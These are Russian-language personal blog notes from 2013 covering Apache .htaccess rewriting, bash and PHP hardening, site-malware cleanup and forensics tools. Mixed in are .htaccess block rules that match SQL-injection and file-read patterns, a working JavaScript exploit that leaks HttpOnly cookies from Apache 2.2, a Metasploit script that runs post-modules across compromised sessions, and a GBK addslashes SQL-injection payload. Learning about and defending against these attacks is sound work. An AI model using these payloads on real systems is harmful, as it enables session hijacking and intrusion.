RewriteCond %{QUERY_STRING} .*union\+select.* [NC,OR]
RewriteCond %{QUERY_STRING} .*perl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*curl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*SQL.* [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [NC]
RewriteRule .* - [F] 


#Remote File Inclusion Protection
RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(\?\?)+ [NC]
RewriteRule .* - [F]

#XSS Protection
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ http://frost.de/trap.php [R,L]
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|%0A|%0D).* [NC]
RewriteRule .* - [F]

##Some else
RewriteCond %{QUERY_STRING} etc/passwd [NC,OR]
RewriteCond %{QUERY_STRING} echo.*kae  [NC,OR]
RewriteCond %{QUERY_STRING} boot\.ini  [NC,OR]
RewriteCond %{QUERY_STRING} \=\\%27$   [NC,OR]
RewriteCond %{QUERY_STRING} \=\\\'$    [NC,OR]
RewriteCond %{QUERY_STRING} \.\./      [NC]
RewriteRule .* - [F]
RedirectMatch 403 (base64|crossdomain|localhost|wwwroot|e107\_)
RedirectMatch 403 (eval\(|\_vti\_|\(null\)|echo|config\.xml)
 
 
## Disallow access to htaccess.txt, configuration.php, configuration.php-dist and php.ini
RewriteRule ^(htaccess\.txt|configuration\.php(-dist)?|php\.ini)$ - [F]

## Disallow PHP Easter Eggs (can be used in fingerprinting attacks to determine
## your PHP version). See http://www.0php.com/php_easter_egg.php and
## http://osvdb.org/12184 for more information
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]


.htaccess for Joomla:
http://docs.joomla.org/Htaccess_examples_%28security%29

четверг, 18 июля 2013 г.

htaccess 4 RewriteRule

RewriteRule определяет правила для механизма преобразований.

Первому RewriteRule передается путь от того места, где находится .htaccess, до запрошенного файла. Эта строка никогда не начинается со "/". Последующим RewriteRule передается результат предыдущих преобразований.

В RewriteRule передается не ссылка, а путь до запрошенного файла.

Поэтому в mod_rewrite передается абсолютный путь до файла, а mod_rewrite отрезает от абсолютного пути часть до файла .htaccess.

RewriteRule просто преобразовывает строку в соответствии с регулярными выражениями, и все. RewriteRule работает со строкой, а не со ссылкой или путем до файла.

    Запрос: http://example.com/templates/silver/images/logo.gif
    DocumentRoot: /var/www/example.com
    Путь до файла: /var/www/example.com/templates/silver/images/logo.gif
    .htaccess находится в: /var/www/example.com/templates/.htaccess
    В первый RewriteRule будет передано: silver/images/logo.gif
    Обратите внимание: «templates/» тоже отрезалось.


Путь до .htaccess отрезается вместе со слешем. Из этого есть следствие: строка, которая изначально передается на обработку RewriteRule никогда не начинается со "/".

RewriteRule Шаблон Подстановка

Шаблон это perl совместимое регулярное выражение которое применяется к текущему URL.
  1. Взяли строку.   
  2. Сравнили с регулярным выражением в первом аргументе.
  3. Если есть совпадение — заменили всю строку на значение второго аргумента.
  4. Передали строку следующему RewriteRule.
RewriteRule красивый url настоящий url [флаги]

Флаги указываются в конце каждого правила в квадратных скобках через запятую.
Например:

RewriteRule ^([\w\d\-]+).html$ show.php?id=$1 [L,NC,QSA] 


RewriteCond %{QUERY_STRING} .chi-siamo\.html$
RewriteRule ^index\.php$ ?lang=it [L,R=301]

Этот URL не обязательно совпадает с первоначально запрошенным URL, потому что любое количество правил возможно уже были применены к нему и соответственно преобразовали его.
 Текст:
.(точка)     Любой одиночный символ
[chars]   Класс симвлолв: Один из символов
[^chars]  Класс симвлолв: Ни один из символов
text1|text2 Альтернатива: text1 или text2 


Кванторы (символы для обозначения количественных отношений):
?     0 или 1 из предшествующего текста
*     0 или N из предшествующего текста (N > 0)
+     1 или N из предшествующего текста (N > 1) 


Группировка:

(text)  Группировка текста
(либо установка границ альтернативы или для создания обратных связей где N группа, которая 
может быть использована в RHS директивы RewriteRule с $N)


Маркеры:
^     Маркер начала строки
$     Маркер конца строки


Экранирование:  \char экранирование конкретного символа
(к примеру для указания символов ".[]()" и т.д.)

Cимвол отрицания (NOT) - ('!') 

Если используются шаблоны с отрицанием, вы не можете использовать $N в строках подстановок! Подстановка в правиле преобразования это строка будет подставляться (или будет заменять) вместо оригинального URL, для которого есть совпадение Шаблону. Кроме простого текста вы можете использовать:

    1.обратные связи $N на шаблоны в RewriteRule
    2.обратные связи %N на последний соответствующий шаблон в RewriteCond
    3.переменные сервера в качестве проверяемых строк в условиях правил (%{VARNAME})
    4.вызовы запросов к массиву (${mapname:key|default})

Флаги

 

[R]
Redirect - останавливает процесс преобразования и возвращает результат браузеру клиента как редирект на данную страницу (код 302 - MOVED TEMPORARY), также можно указать код редиректа самостоятельно, например R=301 (код 301 - MOVED PERMANENTLY).
[F]
Forbidden - возвращает ошибку 403.
[G]
Gone - возвращает ошибку 410.
[P]
Proxy - дает команду Apache выполнть подзапрос к указанной странице с использованием программного модуля mod_proxy, при этом пользователь ничего не узнает об этом подзапросе. Если модуль mod_proxy отсутствует, то произойдет ошибка.
[L]
Last - останавливает процесс преобразования, и текущая ссылка считается окончательной.
[N]
Next - запускает процесс преобразования с первого по порядку правила.
[C]
Chain - объединяет несколько правил в цепочку. Если первое правило цепочки не срабатывает, то вся цепочка игнорируется.
[NS]
NoSubreq - разрешает срабатывание правила только для настоящих запросов, игнорируя подзапросы.
[NC]
NoCase - отключает проверку регистра символов.
[QSA]
Qsappend - добавляет исходные параметры запроса (query string) к замене. Если замена не включает в себя новые параметры запроса, то исходные параметры запроса добавляются автоматически. Если же включает, то без флага QSA исходные параметры запроса будут утеряны.
[PT]
PassThrough - останавливает процесс преобразования и передает полученную новую ссылку дальше по цепочке.
[S]
Skip - пропускает следующее правило, если данное правило сработало. Можно указать количество правил, например: S=2
[E]
Env - устанавливает переменную окружения, например: E=переменная:значение.

htaccess 3 RewriteCond

Директива RewriteCond - определяет условие, при котором происходит преобразование. RewriteCond определяет условия для какого-либо правила. Перед директивой RewriteRule располагаются одна или несколько директив RewriteCond. Следующее за ними правило преобразования используется только тогда, когда URI соответствует условиям этой директивы и также условиям этих дополнительных директив.

RewriteCond %{QUERY_STRING} .chi-siamo\.html$
RewriteRule ^index\.php$ ?lang=it [L,R=301]

$N           (0 <= N <= 9) предоставляющие доступ к сгруппированным частям (в круглых скобках!) шаблона из соответствующей директивы RewriteRule (единственной, следующей сразу за текущим набором директив RewriteCond).

%N          (1 <= N <= 9) предоставляющие доступ к сгруппированным частям (в круглых скобках!) шаблона из соответствующей директивы RewriteCond в текущем наборе условий.

%{NAME_OF_VARIABLE}      где NAME_OF_VARIABLE может быть одной из ниже приведенных переменных

 HTTP_USER_AGENT  Содержит информацию о типе и версии браузера и операционной системы посетителя.
 HTTP_REFERER  Приводится адрес страницы, с которой посетитель пришёл на данную страницу.
 HTTP_COOKIE  Список COOKIE, передаваемых браузером
 HTTP_FORWARDED  Страница непосредственно, с которой перешел пользователь
 HTTP_HOST  Адрес сервера, например, beget.ru
 HTTP_ACCEPT  Описываются предпочтения клиента относительно типа документа.
 REMOTE_ADDR  IP-адрес посетителя.
 REMOTE_HOST  адрес посетителя в нормальной форме — например, rt99.net.ru
 REMOTE_IDENT  Имя удаленного пользователя. Имеет формат имя.хост, например, kondr.www.rtt99.net.ru
 REMOTE_USER  Тоже, что и REMOTE_IDENT, но содержит только имя. Пример: kondr
 REQUEST_METHOD  Позволяет определить тип запроса (GET или POST). Должен обязательно анализироваться, т.к. определяет дальнейший способ обработки информации
 SCRIPT_FILENAME  Полный путь к веб-странице на сервере.
 PATH_INFO  Содержит в себе все, что передавалось в скрипт.
 QUERY_STRING  Содержит строчку, переданную в качестве запроса при вызове CGI скрипта.
Cтрока с набором переменных для PHP. Часть урла после знака вопроса (и до решётки якоря, если он есть).
 AUTH_TYPE  Используется для идентификации пользователя
 DOCUMENT_ROOT  Cодержит путь к корневой директории сервера.
 SERVER_ADMIN  Почтовый адрес владельца сервера, указанный при установке.
 SERVER_NAME  Адрес сервера, типа kondr.beget.ru
 SERVER_ADDR  IP-адрес вашего сайта.
 SERVER_PORT  Порт, на котором работает Apache.
 SERVER_PROTOCOL  Версия HTTP протокола.
 SERVER_SOFTWARE  Название сервера, например, Apache/1.3.2 (Unix)
 TIME_YEAR
 TIME_MON
 TIME_DAY
 TIME_HOUR
 TIME_MIN
 TIME_SEC
 TIME_WDAY
 TIME
 Переменные предназначены для работы со временем в разных форматах.
 API_VERSION  Это версия API модуля Apache (внутренний интерфейс между сервером и модулем) в текущей сборке сервера, что определено в include/ap_mmn.h.
 THE_REQUEST  Полная строка HTTP запроса отправленная браузером серверу (т.е., «GET /index.html HTTP/1.1»). Она не включает какие-либо дополнительные заголовки отправляемые браузером.
 REQUEST_URI  Ресурс, запрошенный в строке HTTP запроса.
 REQUEST_FILENAME  Полный путь в файловой системе сервера к файлу или скрипту соответствующим этому запросу.
 IS_SUBREQ  Будет содержать текст «true» если запрос выполняется в текущий момент как подзапрос, «false» в другом случае. Подзапросы могут быть сгенерированы модулями которым нужно иметь дело с дополнительными файлами или URI для того чтобы выполнить собственные задачи.

htaccess 2 - RedirectMatch


RedirectMatch позволяет использовать регулярные выражения.

RedirectMatch /(.*)/(.*)/index.html$ http://mysite.ru/script.php?par1=&par2=

Круглые скобки () используются для выделения групп символов. В дальнейшем к ним можно обращаться по номеру.
Символ ^ обозначает начало строки.
Символ $ обозначает конец строки.
Символ . обозначает любой символ.
Символ | обозначает альтернативу. Например, выражения "A|B" означают "A или B".
Символ ? ставится после символа (группы), который может как присутствовать, так и отсутствовать.
Символ * ставится после символа (группы), который может отсутствовать или присутствовать неограниченное число раз подряд.
Символ + действует аналогично символу * с той лишь разницей, что предшествующий ему символ обязательно должен присутствовать хотя бы один раз.
Квадратные скобки [] используются для перечисления допустимых символов.
Квадратные скобки [^] используются для перечисления недоступных символов.
Символ \ ставится перед спецсимволами, если они нужны в своем первозданном виде.
Все, что расположено после символа '#', считается комментарием.

Дубликаты в истории команд bash

Я часто набираю cd .. несколько раз подряд, и когда я нажимаю клавишу «вверх», чтобы вернуться к ранее введенным командам, я не хочу, чтобы мне постоянно напоминали о моих неоптимальных передвижениях по файловой системе.

HISTCONTROL - представляет из себя список опций, разделенных двоеточиями. Они контролируют каким образом список команд сохраняется в истории.

ignorespace   не сохранять строки начинающиеся с символа <пробел>
ignoredups   не сохранять строки, совпадающие с последней выполненной командой
ignoreboth   использовать обе опции 'ignorespace' и 'ignoredups'
erasedups    удалять ВСЕ дубликаты команд с истории
export HISTCONTROL="ignoredups"


HISTIGNORE - список шаблонов через двоеточие, используемых для принятия решения о сохранении строк с командами в списке истории.
export HISTIGNORE="&:ls:[bf]g:exit"
Это позволит избавиться от дубликатов, а также от ls, bg, fg и exit, что сделает историю команд bash более читабельной.

Не сохранять команды начинающиеся с s :
export HISTIGNORE="s*"

Команды из ~/.bashrc не срабатывают при логине

Нужно добавить в ~/.bash_profile

if [ -f ~/.bashrc ]; then
    . ~/.bashrc
fi

или сделать
ln -s ~/.bashrc ~/.bash_profile
Смысл в том, что ~/.bash_profile читается при login, а ~/.bashrc при интерактивном старте оболочки. Проверить очень просто. Пишем в ~/.bash_profile строку echo 'bash_profile', а в ~/.bashrc echo 'bashrc'. Теперь логинимся и запускаем еще одну копить оболочки (т.е. запуск bash без login-а): bash_profile

Где хранятся сессии браузера Mozilla Firefox (открытые вкладки)

C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\9999.default\sessionstore.js

среда, 17 июля 2013 г.

Alias

Задача:
Сделать, чтобы во всех ваших оболочках были одни и те же aliases, и чтобы при добавлении нового не пришлось править пачку файлов.

Решение:
1. Выносим все alias в файл ~/.alias
2. В ~/.bashrc, ~/.zshrc и т.п. пишем: . $HOME/.alias # перед $HOME стоит точка и пробел

вторник, 16 июля 2013 г.

Флаги cookie - скажи нет XSS

Запретить чтение cookie через javascrpt

HttpOnly позволит передавать куки только в заголовках, это запретит их чтение через javascrpt
Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly

Кофиг для сервера:
 
<httpCookies httpOnlyCookies="true"/> 
 
 
Передача cookie через ssl (если соединение не ssl, то cookie не передаются:

Set-Cookie: MyCookieName=The value of my cookie; path=/; secure

Кофиг для сервера:
 
<httpCookies requireSSL="true" />

Сервис определения флагов cookie. https://asafaweb.com/

Exploit 1

Используем метод TRACE. Сервер ответит тем же запросом, который отправил клиент.


Exploit 2
  • Affected versions: 2.2.0 - 2.2.21
  • Risk: moderately critical (xss needed)
 
Суть эксплойта: если сайт на Apache 2.2.0 - 2.2.21 и содержимое заголовков 
HTTP-Header слишком большое, 
то сервер отвечает ошибкой с номером 400, отправляя вместе с ответом 
содержимое заголовка.
<?php
header("Set-Cookie: SESSIONID=ImAhttpOnlyCookie; path=/; httponly");
?>
<script type="text/javascript">
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 2000);
gotCookie=false;
padding="";
for (j=0;j<=1000;++j) {
    padding+="A";
}
for (i=0;i < 10; ++i) {
    document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+"; 
path=/;"
}

function handler() {
    if (!gotCookie && this.responseText.length > 1) {
 text = /(SESSIONID=[^;]*)/i.exec(this.responseText);
 alert(text[1]);
 gotCookie=true;
    }
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handler;
xhr.open("GET", "/httponly.php");
xhr.send();
</script>

Metasploit multisession

Если мы проникли сразу на несколько машин, чтобы не писать команды в каждой из полученных сессий, мы можем воспользоваться радостями доступа к Ruby прямо из консоли MSF, запустив постмодуль сразу во всех сессиях:

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> irb
framework.sessions.each_key do |session|
run_single(«set SESSION #{session}»)
print_status(«Running #{active_module.fullname}
against #{session}»)
run_single(«run»)
sleep 1
end

Код получился тяжеловатым, но мы можем вписать его в rc-файл и при необходимости запускать с помощью следующих команд:

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> resource runall.rc

You use the POST module, drop to IRB and run those 4 lines, and bam, you win. With resource files we can automate this a bit more and have it so that we do this effortlessly with any post module.

framework.sessions.each do |session|
  run_single("set SESSION #{session.first}")
  print_status("Running #{active_module.fullname} against session #{session.first}")
  run_single("run")
  sleep 1
end

A commenter noticed an error in the coding for cross compatibility. The following should work better across versions:

framework.sessions.each_key do |session|
  run_single("set SESSION #{session}")
  print_status("Running #{active_module.fullname} against session #{session}")
  run_single("run")
  sleep 1
end


Soft

PsExec

Scapy


Wi-Fi

Aircrack-ng

Reaver

Локальные сети:

ettercap


dsploit - Утилита для проникновения и проведения анализа мобильных сетей Android-устройств.

Реверс flash - swfretools

BVScanner (Black Vlastelin Scanner) - поиск  adsl роутеров.

понедельник, 15 июля 2013 г.

Пользовательская маска umask

Пользовательская маска — это число, которое отнимается от прав доступа по умолчанию. Получившиеся в результате вычитания права доступа применяются к создаваемому файлу.

Для просмотра текущего значения и изменения маски используется встроенная в оболочку команда umask. 

#umask 0077

После выхода пользователя из системы и входа обратно будет использоваться значение макси по умолчанию. Для того, чтобы новое значение маски не пропадало, добавьте команду umask 0077 в любую строку файла .bash_profile (в SuSE Linux надо использовать файл .profile), находящегося в домашней директории пользователя.

t-бит и chmod

Таким образом, команда chmod 755 это всего
   лишь краткая запись полной формы команды: chmod 0755.
   
   t-бит обычно используется с каталогами.
   
   Обычно, когда t-бит для каталога не установлен, файл в данном каталоге
   может удалить любой пользователь, имеющий доступ на запись к данному
   файлу. Устанавливая t-бит на каталог мы меняем это правило таким
   образом, что удалить файл из каталога может только владелец этого
   каталога или файла.
   
   Установить t-бит можно при помощи команд chmod a+tw somefile или chmod
   1777 somefile.

Как найти все SUID программы на машине


Все SUID и SGID программы:
find / \( -perm -04000 -o -perm -02000 \) -exec ls -ald {} \;
Только SUID ROOT:
find /sbin \( -perm -04000 -a -user 0 \) -exec ls -ald {} \;
find / -type f -perm +6000 -exec ls -l {} \; 


воскресенье, 14 июля 2013 г.

Вирус на сайте. Первые действия.

1. Заглянуть в файл .htaccess — в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус.

2. Ищем недавно измененные файлы :

# find ./public_html -mtime -3d
# find ./public_html -mtime -10h 

3. Поиск кодировки base64

# find ./ -name '*.php' | xargs grep -E '[0-9a-zA-Z/]{80}'
Убьем сразу двух зайцев, объединив поиск .php и .html файлов. По умолчанию все аргументы соединены с помощью логического и (опция '-a'). Если необходимо объединить несколько аргументов логическим или — используем опцию '-o'.
# find ./ \( -name '*.php' -o -name '*.html' \)| xargs grep -E '[0-9a-zA-Z/]{80}'

4. Далее, если известно время - смотрим логи: #grep time.

Некоторые хитрецы делают так:
<?php
ob_start();
include('./exploit.jpg');
ob_end_clean();
?> 
или прячут шеллы в JPG EXIF - http://xakep.ru/post/60928/default.asp
Но они даже не подозревают, что все это находится банальным грепом.

Разукрашиваем консоль bash

Добавить в bashrc:

COLOR1="\[\033[1;31;40m\]" #красный
COLOR2="\[\033[1;0;32m\]" #green
COLOR3="\[\033[1;37;40m\]" #белый
PS1="$COLOR1\u@\h: $COLOR2\w \$ $COLOR3"

ASCII графика в Linux

Знакомьтесь - утилита figlet - она генерирует ascii текст в терминале.

8 888888888o.            .8.          8 888888888o.   8 8888     ,88'
8 8888    `^888.        .888.         8 8888    `88.  8 8888    ,88'
8 8888        `88.     :88888.        8 8888     `88  8 8888   ,88'
8 8888         `88    . `88888.       8 8888     ,88  8 8888  ,88'
8 8888          88   .8. `88888.      8 8888.   ,88'  8 8888 ,88'
8 8888          88  .8`8. `88888.     8 888888888P'   8 8888 88'
8 8888         ,88 .8' `8. `88888.    8 8888`8b       8 888888<
8 8888        ,88'.8'   `8. `88888.   8 8888 `8b.     8 8888 `Y8.
8 8888    ,o88P' .888888888. `88888.  8 8888   `8b.   8 8888   `Y8.
8 888888888P'   .8'       `8. `88888. 8 8888     `88. 8 8888     `Y8.

`8.`888b                 ,8' .8.   `8.`8888.      ,8'
 `8.`888b               ,8' .888.   `8.`8888.    ,8'
  `8.`888b             ,8' :88888.   `8.`8888.  ,8'
   `8.`888b     .b    ,8' . `88888.   `8.`8888.,8'
    `8.`888b    88b  ,8' .8. `88888.   `8.`88888'
     `8.`888b .`888b,8' .8`8. `88888.   `8. 8888
      `8.`888b8.`8888' .8' `8. `88888.   `8 8888
       `8.`888`8.`88' .8'   `8. `88888.   8 8888
        `8.`8' `8,`' .888888888. `88888.  8 8888
         `8.`   `8' .8'       `8. `88888. 8 8888 

Разукрашиваем MAN


# yum install most
add to bash profile (/etc/bashrc):
export MANPAGER="/usr/bin/most" 
# source /etc/bashrc

htaccess

Инструкции, направленные на переопределение (rewrite) должны всегда предваряться следующими строками:

Options +FollowSymLinks
RewriteEngine On
RewriteBase /

Добавить в обработку как php другие форматы:

AddType application/x-httpd-php .php .php3 .php4 .phtml .html .jpg


Чтобы переадресовать запросы, созданные не по https протоколу на https, и решить проблему необходимости повторной авторизации при использовании htpasswd

SSLOptions +StrictRequire
SSLRequireSSL
SSLRequire %{HTTP_HOST} eq "google.com"
ErrorDocument 403 https://google.com

Для группы файлов типа blog/this.php?gh

RedirectMatch 301 /blog(.*) http://www.askapache.com/$1

Форсированная загрузка файла вместо отображения его содержимого прямо в браузере

AddType application/octet-stream .mpg

Разрешение только методов GET и PUT при обращении к серверу.

Options -ExecCGI -Indexes -All +FollowSymLinks
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_METHOD} !^(GET|PUT)
RewriteRule .* - [F]
Обработка всех файлов gif скриптом cgi
Action image/gif /cgi-bin/filter.cgi

Запретить обработку php файлов.

<FilesMatch ".(php) $">
Order Allow,Deny
Deny from all
</FilesMatch>


Запрет доступа по IP

Закрыть доступ ВСЕМ, кроме определенных IP:

Order deny,allow
deny from all
# Список IP через пробел, с которых доступ разрешен
Allow from 194.111.70.48 194.78.47.128

Разрешение доступа только с определенных IP к определенной папке (адреса записываются через пробел):

# Указываем папку, к которой запрещаем доступ по имени хоста и его IP

Order deny, allow
deny from all
#Адреса записываются через пробел
Allow from 198.69.144.98 198.69.144.94 198.69.144.92 
# неполный адрес, если необходимо закрыть доступ по маске то используем неполный адрес
Allow from 198.69. 


SSH socks proxy


ssh -CND 1080  login@server

  • 1080 - порт на локальном компе, через который мы и будем выходить в инет
  • C - нужна здесь для сжатия данных
  • N - для того чтобы не было записи в wtmp
  • D - благодаря этому ключу всё и работает.


В браузере, где вбивается socks proxy написать locаlhost port 1080, ну и поставить галочку напротив socks5

Еще говорится, что в конфиге sshd.conf должна быть такая строчка:

AllowTcpForwarding yes

http://ruunix.ru/496-xitrosti-ssh.html



суббота, 13 июля 2013 г.

Спрятать inject

Папка cgi-bin чаще всего находится вне каталога htdocs и потому остается без внимания. На самом деле именно она нередко становится местом для хостинга малвари. К примеру, в ней легко может оказаться файл php.ini, содержащий строчку вроде:

 auto_append_file = "/home/user/USER/
 cgi-bin/security.cgi
 #php in .htaccess
 php_value auto_append_file /путь/к/вирусу 

Таким образом к любому PHP-скрипту автоматически добавляется содержимое сценария security.cgi, в котором может быть что угодно. При этом нигде в основных файлах проекта, даже при тщательнейшем изучении, признаков малвари ты не найдешь.

Таблица символов Unicode

Опасные функции PHP

Рекомендуется отключить следующие PHP функции: 

exec, system, passthru, readfile, shell_exec, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, parse_ini_file, show_source, curl_exec.

так как именно они чаще всего применяются во вредоносных скриптах.

Для того чтобы это сделать, необходимо привести раздел disable_functions файла php.ini к следующему виду:
 

disable_functions = "exec,system,passthru,readfile,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,parse_ini_file,show_source,curl_exec,pcntl_exec,expect_popen"

service php-fpm restart 

Если ваши сайты (Joomla) используют ini файлы, то parse_ini_file лучше не отключать.

Также рекомендуется отключить чтение и использование удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen off и allow_url_include off в файле php.ini

Описание указанных функций:

exec — вызов внешней программы
ini_get — получает значение опции конфигурации
ini_get_all — получает все опции конфигурации
parse_ini_file — разбирает файл конфигурации
passthru — вызов внешней программы и вывод «сырых» результата на дисплей
php_uname — возвращает информацию об ОС, на которой php был построен
popen — открывает файловый указатель процесса
proc_open — выполняет команду и открывает файловый указатель для ввода/вывода
shell_exec — выполняет команду в оболочке/shell и возвращает полный вывод в виде строки
show_source — вывод исходного текста текущей веб страницы
system — вызов внешней программы и вывод результата на дисплей
Также стоит подумать над отключением таких функций:
diskfreespace — псевдоним функции disk_free_space
disk_free_space — получить размер доступного пространства в каталоге
disk_total_space — возвращает общий размер диска
eval — вычисляет строку, заданную в code_str, как код PHP (eval ( string code_str))
fileperms — получить информацию о правах на файл
fopen — открывает файл или URL
opendir — возвращает дескриптор каталога для последующего использования с функциями closedir(), readdir() и rewinddir()
phpinfo — выводит всю информацию об php, Ос
phpversion — выводит версию php
posix_getpwuid — возвращает информацию о пользователе по его user id
posix_getgrgid — возвращает информацию о группе по её group id
posix_uname — получает системное имя, возвращает хэш строк с информацией о системе

sql-injection от а до я

Очень полезные команды Linux на одном листе

http://www.f-notes.info/linux:linux_command

Блоги и форумы по WEB безопасности

Очень много разных ресурсов: http://hacker.yakuza112.org/

http://raz0r.name/
http://oxod.ru
http://devteev.blogspot.ru
http://kaimi.ru/

http://mrthe.name/ 
http://godinside.ru/
http://rushter.com

http://www.securitylab.ru/

http://brutezone.ru/showthread.php?t=2842 

eng
Forums
http://evilzone.org/
http://www.hackcommunity.com/Forum-Website-Exploits-Discussion
http://www.ic0de.org/forum.php
http://www.enigmagroup.org/forums/


Blogs
http://hackademix.net
http://haacked.com/
http://blog.yakuza112.org/
http://www.room362.com/blog/
http://carnal0wnage.attackresearch.com/
http://pentestn00b.wordpress.com/
http://www.darkoperator.com/

http://netsecurity.about.com/

Закрытые ресурсы:
https://coru.ws/

old
http://poc-hack.blogspot.ru/

фрикинг
http://dogber1.blogspot.ru/

WAF

пятница, 12 июля 2013 г.

Обход php-функции Addslashes для SQL-инъекций

Для справки: addslashes добавляет экранирующий символ (то есть слэш «/») перед символами одинарных (0x27) и двойных (0x22) кавычек, бэкслэшем (0x5c) и перед null-байтом (0x00). Таким образом, данное экранирование лишает взломщика возможности провести инъекцию.

Но в определенных ситуациях мы можем обойти эту функцию. В каких? Когда при взаимодействии с базой данных используются мультибайтовые кодировки — SJIS, BIG5, GBK, CP932. Возможны и другие, но точно не UTF. Могут быть дополнительные ограничения в виде MySQL 4.1.х-4.1.20, 5.0.x-5.0.22 и PHP < 5.2.5 Как видишь, спектр возможных целей сужается, но все же стоит об этом помнить, особенно «работая» с иностранными сайтами.

Но посмотрим, в чем же суть уязвимости. Для кодировки GBK, например, 0xbf27 — неправильная последовательность, такого символа нет. В то же время символ 0xbf5c — есть. Теперь посмотрим на работу функции addslashes: она берет по одному байту и экранирует его, если необходимо. 0xbf — это «Ќ„», 0x27 — это кавычка, ее экранируем.
На выходе получается 0xbf5c27 (. \'), но в MySQL воспринимается два символа — 0xbf5c и 0х27, то есть «что-то» и кавычка.

http://test.com/Vuln.php?id=%bf%27 OR 1=1 /*

К описанному выше можно добавить, что и с mysql_escape_string могут быть похожие проблемы, хотя и в очень специфических ситуациях. Подробнее читай в следующих постах:


http://www.xakep.ru/post/57042/default.asp

История действий в ОС - Process Monitor

sysinternals.com - нам потребуется Process Monitor (procmon.exe). Это чрезвычайно удобная и полезная тулза. Мониторит активность, связанную с файловой системой, реестром, взаимодействием между процессами и по сети

Кроссплатформенный кодинг для iOS, Android, Bada, Symbian с помощью AirPlaySDK

http://www.xakep.ru/post/56269/default.asp

Python-вирус

http://www.xakep.ru/post/55980/default.asp

Песочница Linux

LiveUSB-дистрибутивы для параноиков.

Liberte Linux
  • повышенная безопасность системы (так как в основе — Hardened Gentoo Linux);
  • простота использования;
  • нетребовательность к системным ресурсам;
  • весь сетевой трафик идет через Tor;
  • возможность общаться с другими анонимусами через скрытые сервисы Tor (опция доступна полностью в версии 2011.1);
  • шифрование всей пользовательской информации.
Установка из Linux:

http://www.xakep.ru/post/55983/default.asp


Как криминалисты восстанавливают надежно удаленные данные?

 

Файлы изображений Thumbs.db (Thumbnail Database Viewer)

Файл подкачки - pagefile.sys (BackTrack - Forensic, Foremost)

Дефрагментация - не перезаписывает старые секторы, перемещая данные на другие сектора.

Для полной очистки данных требуется перезапись секторов. Утилиты-шредеры: HDD Wipe Tool и пр. Google

 

 

 

 

foremost - ищем скрытые данные

Программа foremost сканирует и распознаёт файловую структуру известных ему типов файлов, распознав начало знакомого типа файла утилита пытается найти конец файла, собрать всё это воедино и записать на диск.
Тип искомого файла, который нужно восстановить, задаётся опцией “-t”, например:

#foremost -t zip 

Извлечение файлов из файла подкачки:

#foremost -i /mnt/hda1/pagefile.sys -o /root/Desktop/page_file -v -q

Возможности:
-Восстановление удаленных и поврежденных файлов.
-Поиск файлов, замаскированных под другой формат.
- Многое другое...

Три важных момента:

-Восстанавливаемые файлы должны записываться на раздел отличный от того, с которого они восстанавливаются.
-foremost должен быть запущен НЕ с того раздела диска, с которого собрались восстанавливать файлы. Можно запустить foremost с Live-CD. 
-При восстановлении имена файлов не сохраняются.

Аналоги: DiskDigger, Photorec.

Ссылки
Есть очень хороший каталог с описаниями таких программ здесь. Вот тут неплохое описание доступных утилит по анализу данных, ссылки есть и здесь, а ещё лучше погуглить со словом forensic.


http://mydebianblog.blogspot.ru/2007/01/1-foremost.html
http://acerfans.ru/faq/1256-vosstanovlenie-udaljonnykh-fajjlov-v-os-linux.html